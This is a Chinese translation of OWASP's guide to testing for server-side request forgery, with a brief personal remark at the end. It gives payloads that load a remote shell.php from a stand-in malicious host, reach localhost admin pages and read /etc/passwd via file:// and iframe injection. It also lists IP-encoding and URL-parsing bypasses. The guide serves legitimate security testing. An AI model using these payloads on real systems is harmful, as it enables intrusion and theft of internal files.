SSRF测试（Server Side Request Forgery）（owasp）

原文

概述

web应用经常与内部或外部资源进行交互。虽然你可能期望只有预期的资源才能处理你发送的数据，然而处理不当的数据可能产生注入攻击。其中一种注入攻击是ssrf。一个成功的ssrf攻击能够授予攻击者访问内部服务、访问内部文件、执行受限操作的权限。在一些情况下，它甚至导致RCE。

测试目标

• 确认ssrf注入点
• 测试注入点是否可利用
• 评估漏洞的严重程度

如何测试

当测试ssrf时，你试图使目标服务器无意中加载或报错可能是恶意的内容。最常见的测试是本地和远程文件包含。ssrf还有另一方面：一种信任关系。通常在应用服务器与用户无法直接访问的其他后端系统进行交互时发生。这些后端系统通过具有不可路由的专用IP地址，或仅限于某些主机。由于它们被网络拓扑保护，它们通常缺少复杂的操作。这些内部系统通常含有敏感信息或功能。

考虑以下请求：

GET https://example.com/page?page=about.php

你能够用以下payload进行测试。
加载文件内容

GET https://example.com/page?page=https://malicioussite.com/shell.php

访问受限制的网页

GET https://example.com/page?page=http://localhost/admin

或

GET https://example.com/page?page=http://127.0.0.1/admin

使用loopback接口（127.0.0.1）可以访问仅限于主机访问的内容。这种机制意味着，如果你能够访问主机，你也有权限直接访问管理界面。这种信任关系（请求来自本地主机的处理方式与普通请求不同）通常使SSRF成为严重的漏洞。

获取本地文件

GET https://example.com/page?page=file:///etc/passwd

http方法使用
所有以上的payload能够在任何http请求类型中使用，且也都能在请求头或cookie处注入。

一件重要的事，关于post请求中的ssrf，ssrf可能不会有回显（blind ssrf），因为应用可能不会立即返回任何东西。与此相对的，注入点数据可能在其他功能中使用，比如pdf报告、发票或订单处理等，这些可能对员工或工作人员使可见的，但对终端用户或测试人员不一定。

pdf生成器
在一些情况下，服务器可能把上传的文件转为pdf格式。尝试注入<iframe>、<img>、<base>或<script>元素，或css的url()函数（指向内部服务）。

<iframe src="file:///etc/passwd" width="400" height="400">
<iframe src="file:///c:/windows/win.ini" width="400" height="400">

一般绕过
一些应用阻止对localhost和127.0.0.1的引用。这个能够被绕过：

• 使用可代替127.0.0.1的IP：
  1. 十进制表示：2130706433
  2. 八进制表示：017700000001
  3. 简短IP：127.1
• 字符串混淆
• 注册你自己解析为127.0.0.1的域

有时候，应用允许输入特定表达式（如域名）。如果url解析器没有正确实现，它可以被绕过，导致类似语义攻击的攻击。

• 使用@字符去分离，在用户信息和主机之间：https://expected-domain@attacker-domain
• 使用#分离url：https://attacker-domain#expected-domain
• url编码
• 模糊测试
• 组合上面所有方法

个人小结

SSRF的测试主要还是依赖网站的功能，有种逻辑漏洞测试的感觉。